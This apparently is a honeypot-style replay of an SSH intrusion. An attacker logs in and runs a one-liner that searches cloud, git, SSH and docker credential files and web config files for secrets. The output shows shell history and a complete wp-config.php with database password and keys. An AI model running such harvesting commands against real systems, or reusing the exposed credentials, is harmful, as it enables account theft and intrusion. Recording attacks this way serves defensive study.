connected from 🇳🇱 Eygelshoven, Netherlands · SSH-2.0-OpenSSH_8.7
admin@in-bom-gcp-1's password: Logged in as admin
admin@in-bom-gcp-1:~$ echo ===ID; id; echo ===R; sh -c "echo $#" a b c; echo ===K; for f in ~/.aws/credentials ~/.aws/config ~/.netrc ~/.git-credentials ~/.gitconfig ~/.docker/config.json ~/.my.cnf ~/.ssh/id_rsa ~/.bash_history; do [ -e "$f" ] && grep -aiE "$RX" "$f" 2>/dev/null; done; for f in $(find /var/www /opt /srv /root /home -maxdepth 4 \( -name ".env*" -o -name "*.env" -o -name "wp-config.php" -o -name "config.php" -o -name "database.php" -o -name "settings.py" -o -name "application.yml" -o -name "appsettings.json" -o -name "docker-compose*.yml" \) 2>/dev/null | head -40); do grep -aiE "$RX" "$f" 2>/dev/null; done; echo ===DONE===ID
uid=1000(admin) gid=1000(admin) groups=1000(admin),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),106(netdev)
===R
0
===K
sudo apt update
sudo apt full-upgrade -y
sudo hostnamectl set-hostname in-bom-gcp-1
sudo timedatectl set-timezone Europe/Amsterdam
sudo apt install -y apache2 libapache2-mod-php php-mysql php-curl php-gd php-mbstring php-xml php-zip php-intl mariadb-server unzip curl
sudo mysql_secure_installation
exit
sudo a2enmod rewrite headers
sudo nano /etc/php/8.2/apache2/conf.d/99-duinvonk.ini
sudo systemctl restart apache2
curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar
php wp-cli.phar --info
chmod +x wp-cli.phar
sudo mv wp-cli.phar /usr/local/bin/wp
wp --info
sudo adduser sanne
sudo usermod -aG sudo sanne
sudo mkdir /home/sanne/.ssh
sudo nano /home/sanne/.ssh/authorized_keys
sudo chown -R sanne:sanne /home/sanne/.ssh
sudo chmod 700 /home/sanne/.ssh
sudo chmod 600 /home/sanne/.ssh/authorized_keys
sudo apt install -y python3-certbot-apache
exit
sudo -i
exit
df -h
free -m
sudo -i
exit
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/
*
* @package WordPress
*/
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wp_kremerdijk' );
/** Database username */
define( 'DB_USER', 'kremerdijk' );
/** Database password */
define( 'DB_PASSWORD', 'U9O3KOhDVAYp%26' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
/**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define( 'AUTH_KEY', 'Rkf.:!^1se^^/US1]3KvEByrD/ywbr#?C><qK]@OyP)C^[h.$Xcg<o[Y$fRy;puQ' );
define( 'SECURE_AUTH_KEY', 'd^CT-wO7IbBRa?8ZOJ(dNM.Ox*>([YB)G~Ky:B<zRuc@iKObVO>ryCyWo0A=)~=n' );
define( 'LOGGED_IN_KEY', '>vAp1DrvZq]XjUD@8;8YGV1vTWr9EDYtzX<,GmHEs.:AjIKvp?_x:_O9R?>qKlIl' );
define( 'NONCE_KEY', 'fp4-Jq+UfG~;!mWXNFY/KZT054K0WpxMLkd#F$fCSK:mO~5u6Syo2uh[o+xNy]#I' );
define( 'AUTH_SALT', '?US!+Y2EB6a$b.><qA5/oA[T3]=w6:[^ceC5zW-kg<$ky%J*xFMW2@3(~XmS;<x;' );
define( 'SECURE_AUTH_SALT', 'mhe|X!LjS5sBS5cW39IT!Xv@^%S4ZE;#%A=z+BZVx8wg.A7Uiw#TH|;l9(stT&W^' );
define( 'LOGGED_IN_SALT', 'nIhb;y5OcXVYI_sl$41@A;HqnyGysrX0,PeoGbLZ;w9nda^ZjIDF~h(0*q(Z&#X+' );
define( 'NONCE_SALT', '6fR8wk.Y2/1ZnJm0sCLF*ya%Fx4npJBOz3?M*]QP5szxpQDi5Vm4WsOpBSOhCA+)' );
/**#@-*/
/**
* WordPress database table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*
* At the installation time, database tables are created with the specified prefix.
* Changing this value after WordPress is installed will make your site think
* it has not been installed.
*
* @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/#table-prefix
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/
*/
define( 'WP_DEBUG', false );
/* Add any custom values between this line and the "stop editing" line. */
define( 'WP_MEMORY_LIMIT', '256M' );
/* That's all, stop editing! Happy publishing. */
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
===DONEDisconnected · 4s inside
0:04 / 0:04
What they found: A web agency's WordPress serverA small web agency's cloud server that hosts a handful of client websites built on WordPress, with their databases on the same machine.